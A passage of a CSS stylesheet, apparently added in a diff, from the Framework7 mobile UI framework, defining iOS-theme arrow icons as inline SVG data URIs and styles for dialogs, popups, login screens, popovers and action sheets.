url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .icon-back, +.ios .icon-back.color-pink, +.ios a.link.color-pink .icon-back, +.ios .color-theme-pink .icon-prev, +.ios .icon-prev.color-pink, +.ios a.link.color-pink .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .icon-forward, +.ios .icon-forward.color-yellow, +.ios a.link.color-yellow .icon-forward, +.ios .color-theme-yellow .icon-next, +.ios .icon-next.color-yellow, +.ios a.link.color-yellow .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .icon-back, +.ios .icon-back.color-yellow, +.ios a.link.color-yellow .icon-back, +.ios .color-theme-yellow .icon-prev, +.ios .icon-prev.color-yellow, +.ios a.link.color-yellow .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .icon-forward, +.ios .icon-forward.color-orange, +.ios a.link.color-orange .icon-forward, +.ios .color-theme-orange .icon-next, +.ios .icon-next.color-orange, +.ios a.link.color-orange .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .icon-back, +.ios .icon-back.color-orange, +.ios a.link.color-orange .icon-back, +.ios .color-theme-orange .icon-prev, +.ios .icon-prev.color-orange, +.ios a.link.color-orange .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .icon-forward, +.ios .icon-forward.color-gray, +.ios a.link.color-gray .icon-forward, +.ios .color-theme-gray .icon-next, +.ios .icon-next.color-gray, +.ios a.link.color-gray .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .icon-back, +.ios .icon-back.color-gray, +.ios a.link.color-gray .icon-back, +.ios .color-theme-gray .icon-prev, +.ios .icon-prev.color-gray, +.ios a.link.color-gray .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .icon-forward, +.ios .icon-forward.color-white, +.ios a.link.color-white .icon-forward, +.ios .color-theme-white .icon-next, +.ios .icon-next.color-white, +.ios a.link.color-white .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .icon-back, +.ios .icon-back.color-white, +.ios a.link.color-white .icon-back, +.ios .color-theme-white .icon-prev, +.ios .icon-prev.color-white, +.ios a.link.color-white .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .icon-forward, +.ios .icon-forward.color-black, +.ios a.link.color-black .icon-forward, +.ios .color-theme-black .icon-next, +.ios .icon-next.color-black, +.ios a.link.color-black .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .icon-back, +.ios .icon-back.color-black, +.ios a.link.color-black .icon-back, +.ios .color-theme-black .icon-prev, +.ios .icon-prev.color-black, +.ios a.link.color-black .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .icon.color-red { + color: #ff3b30; +} +.ios .icon.color-green { + color: #4cd964; +} +.ios .icon.color-blue { + color: #007aff; +} +.ios .icon.color-pink { + color: #ff2d55; +} +.ios .icon.color-yellow { + color: #ffcc00; +} +.ios .icon.color-orange { + color: #ff9500; +} +.ios .icon.color-gray { + color: #8e8e93; +} +.ios .icon.color-white { + color: #ffffff; +} +.ios .icon.color-black { + color: #000000; +} +.custom-modal-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.custom-modal-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.custom-modal-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +/* === Dialog === */ +.dialog-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.dialog { + position: absolute; + z-index: 13500; + left: 50%; + margin-top: 0; + top: 50%; + overflow: hidden; + opacity: 0; + -webkit-transform: translate3d(0, 0, 0) scale(1.185); + transform: translate3d(0, 0, 0) scale(1.185); + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + display: none; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.dialog.modal-out { + opacity: 0; + z-index: 13499; +} +.dialog.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-inner { + position: relative; +} +.dialog-title { + font-weight: 500; +} +.dialog-buttons { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.dialog-buttons-vertical .dialog-buttons { + display: block; + height: auto !important; +} +.dialog-no-buttons .dialog-buttons { + display: none; +} +.dialog-input-field { + position: relative; +} +.dialog-input-field .item-input-wrap { + margin: 0; + padding: 0; +} +.dialog-input { + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + margin-top: 15px; + border-radius: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + width: 100%; + display: block; + font-family: inherit; + -webkit-box-shadow: none; + box-shadow: none; +} +html.with-modal-dialog .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.ios .dialog { + width: 270px; + margin-left: -135px; + text-align: center; + border-radius: 13px; + color: #000; +} +.ios .dialog.modal-out { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.ios .dialog-inner { + padding: 15px; + border-radius: 13px 13px 0 0; + background: rgba(255, 255, 255, 0.95); +} +.ios .dialog-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .dialog-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .dialog-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .dialog-title { + font-size: 18px; + text-align: center; + font-weight: 600; +} +.ios .dialog-title + .dialog-text { + margin-top: 5px; +} +.ios .dialog-buttons { + height: 44px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .dialog-button { + width: 100%; + padding: 0 5px; + height: 44px; + font-size: 17px; + line-height: 44px; + text-align: center; + color: #007aff; + display: block; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + overflow: hidden; + cursor: pointer; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-flex: 1; + -ms-flex: 1; + background: rgba(255, 255, 255, 0.95); +} +.ios .dialog-button:first-child { + border-radius: 0 0 0 13px; +} +.ios .dialog-button:last-child { + border-radius: 0 0 13px 0; +} +.ios .dialog-button:last-child:after { + display: none !important; +} +.ios .dialog-button:first-child:last-child { + border-radius: 0 0 13px 13px; +} +.ios .dialog-button.dialog-button-bold { + font-weight: 500; +} +.ios .dialog-button.active-state { + background: rgba(230, 230, 230, 0.95); +} +.ios .dialog-buttons-vertical .dialog-buttons { + height: auto; +} +.ios .dialog-buttons-vertical .dialog-button { + border-radius: 0; +} +.ios .dialog-buttons-vertical .dialog-button:last-child { + border-radius: 0 0 13px 13px; +} +.ios .dialog-buttons-vertical .dialog-button:last-child:after { + display: none !important; +} +.ios .dialog-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .dialog-button:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .dialog-button:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .dialog-buttons-vertical .dialog-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .dialog-buttons-vertical .dialog-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .dialog-buttons-vertical .dialog-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .dialog-no-buttons .dialog-inner { + border-radius: 13px; +} +.ios .dialog-no-buttons .dialog-inner:after { + display: none !important; +} +.ios .dialog-input-field { + margin-top: 15px; +} +.ios .dialog-input-field .item-input-wrap { + margin: 0; +} +.ios .dialog-input { + height: 26px; + background: #fff; + padding: 0 5px; + border: 1px solid rgba(0, 0, 0, 0.3); + font-size: 14px; +} +.ios .dialog-input + .dialog-input { + margin-top: 5px; +} +.ios .dialog-input-double + .dialog-input-double { + margin-top: 0; +} +.ios .dialog-input-double + .dialog-input-double .dialog-input { + border-top: 0; + margin-top: 0; +} +.ios .dialog-preloader .dialog-title ~ .preloader, +.ios .dialog-preloader .dialog-text ~ .preloader { + margin-top: 5px; +} +.ios .dialog-preloader .preloader { + width: 34px; + height: 34px; +} +.ios .dialog-progress .dialog-title ~ .progressbar, +.ios .dialog-progress .dialog-text ~ .progressbar, +.ios .dialog-progress .dialog-title ~ .progressbar-infinite, +.ios .dialog-progress .dialog-text ~ .progressbar-infinite { + margin-top: 15px; +} +.ios .dialog-button.color-red { + color: #ff3b30; +} +.ios .dialog-button.color-green { + color: #4cd964; +} +.ios .dialog-button.color-blue { + color: #007aff; +} +.ios .dialog-button.color-pink { + color: #ff2d55; +} +.ios .dialog-button.color-yellow { + color: #ffcc00; +} +.ios .dialog-button.color-orange { + color: #ff9500; +} +.ios .dialog-button.color-gray { + color: #8e8e93; +} +.ios .dialog-button.color-white { + color: #ffffff; +} +.ios .dialog-button.color-black { + color: #000000; +} +/* === Popup === */ +.popup-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.popup-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popup { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.popup.modal-in, +.popup.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popup.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.popup.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 630px) and (min-height: 630px) { + .popup:not(.popup-tablet-fullscreen) { + width: 630px; + height: 630px; + left: 50%; + top: 50%; + margin-left: -315px; + margin-top: -315px; + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-out { + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } +} +@media (max-width: 629px), (max-height: 629px) { + html.with-statusbar .popup-backdrop { + z-index: 9500; + } + html.with-statusbar.device-ios .popup, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 24px); + top: 24px; + } +} +@media (min-width: 630px), (min-height: 630px) { + html.with-statusbar.device-ios .popup-tablet-fullscreen, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup-tablet-fullscreen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup-tablet-fullscreen, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 24px); + top: 24px; + } +} +html.with-modal-popup .framework7-root > .views .page-content, +html.with-modal-popup .framework7-root > .view .page-content, +html.with-modal-popup .framework7-root > .panel .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +/* === Login Screen === */ +.login-screen { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.login-screen.modal-in, +.login-screen.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.login-screen.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.login-screen.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.login-screen.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +html.with-statusbar.device-ios .login-screen, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 20px); + top: 20px; +} +html.with-statusbar.device-iphone-x .login-screen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .login-screen, +html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 24px); + top: 24px; +} +.login-screen-content { + background: #fff; +} +.login-screen-content .login-screen-title, +.login-screen-content .list, +.login-screen-content .block, +.login-screen-content .block-footer, +.login-screen-content .block-header { + max-width: 480px; +} +.login-screen-content .list ul { + background: none; +} +.login-screen-content .list ul:before { + display: none !important; +} +.login-screen-content .list ul:after { + display: none !important; +} +.login-screen-content .block-footer, +.login-screen-content .block-header { + text-align: center; + margin-left: auto; + margin-right: auto; +} +.login-screen-title { + text-align: center; +} +.ios .login-screen-content .login-screen-title, +.ios .login-screen-content .list, +.ios .login-screen-content .block { + margin: 25px auto; +} +.ios .login-screen-title { + font-size: 30px; +} +.ios .theme-dark .login-screen-content, +.ios .theme-dark .login-screen-content .list ul { + background-color: transparent; +} +/* === Popover === */ +.popover-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popover-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popover { + width: 260px; + z-index: 13500; + margin: 0; + top: 0; + opacity: 0; + left: 0; + position: absolute; + display: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.popover .list { + margin: 0; +} +.popover .list ul { + background: none; +} +.popover .list:first-child ul:before { + display: none !important; +} +.popover .list:last-child ul:after { + display: none !important; +} +.popover.modal-in { + opacity: 1; +} +.popover.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.popover-from-actions-bold { + font-weight: 600; +} +.popover-from-actions-label { + line-height: 1.3; + position: relative; +} +.popover-from-actions-label:last-child:after { + display: none !important; +} +.ios .popover { + background: rgba(255, 255, 255, 0.95); + border-radius: 13px; + -webkit-transform: none; + transform: none; + -webkit-transition-property: opacity; + transition-property: opacity; +} +.ios .popover .list:first-child ul { + border-radius: 13px 13px 0 0; +} +.ios .popover .list:first-child li:first-child, +.ios .popover .list:first-child li:first-child a, +.ios .popover .list:first-child li:first-child > label { + border-radius: 13px 13px 0 0; +} +.ios .popover .list:last-child ul { + border-radius: 0 0 13px 13px; +} +.ios .popover .list:last-child li:last-child, +.ios .popover .list:last-child li:last-child a, +.ios .popover .list:last-child li:last-child > label { + border-radius: 0 0 13px 13px; +} +.ios .popover .list:first-child:last-child li:first-child:last-child, +.ios .popover .list:first-child:last-child li:first-child:last-child a, +.ios .popover .list:first-child:last-child li:first-child:last-child > label, +.ios .popover .list:first-child:last-child ul { + border-radius: 13px; +} +.ios .popover .list + .list { + margin-top: 35px; +} +.ios .popover-angle { + width: 26px; + height: 26px; + position: absolute; + left: -26px; + top: 0; + z-index: 100; + overflow: hidden; +} +.ios .popover-angle:after { + content: ''; + background: rgba(255, 255, 255, 0.95); + width: 26px; + height: 26px; + position: absolute; + left: 0; + top: 0; + border-radius: 3px; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.ios .popover-angle.on-left { + left: -26px; +} +.ios .popover-angle.on-left:after { + left: 19px; + top: 0; +} +.ios .popover-angle.on-right { + left: 100%; +} +.ios .popover-angle.on-right:after { + left: -19px; + top: 0; +} +.ios .popover-angle.on-top { + left: 0; + top: -26px; +} +.ios .popover-angle.on-top:after { + left: 0; + top: 19px; +} +.ios .popover-angle.on-bottom { + left: 0; + top: 100%; +} +.ios .popover-angle.on-bottom:after { + left: 0; + top: -19px; +} +.ios .popover-from-actions .list + .list { + margin-top: 20px; +} +.ios .popover-from-actions .list ul { + background: #fff; +} +.ios .popover-from-actions .item-link i.icon { + width: 29px; + height: 29px; + font-size: 29px; +} +.ios .popover-from-actions-label { + padding: 8px 10px; + color: #8a8a8a; + font-size: 13px; + text-align: center; +} +.ios .popover-from-actions-label:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .popover, +.popover.ios .theme-dark { + background: rgba(30, 30, 30, 0.95); +} +.ios .theme-dark .popover .popover-angle:after, +.popover.ios .theme-dark .popover-angle:after { + background: rgba(30, 30, 30, 0.95); +} +.ios .theme-dark .popover .list ul, +.popover.ios .theme-dark .list ul { + background-color: transparent; +} +/* === Actions === */ +.actions-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.actions-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.actions-modal { + position: absolute; + left: 0; + bottom: 0; + z-index: 13500; + width: 100%; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + display: none; + max-height: 100%; + 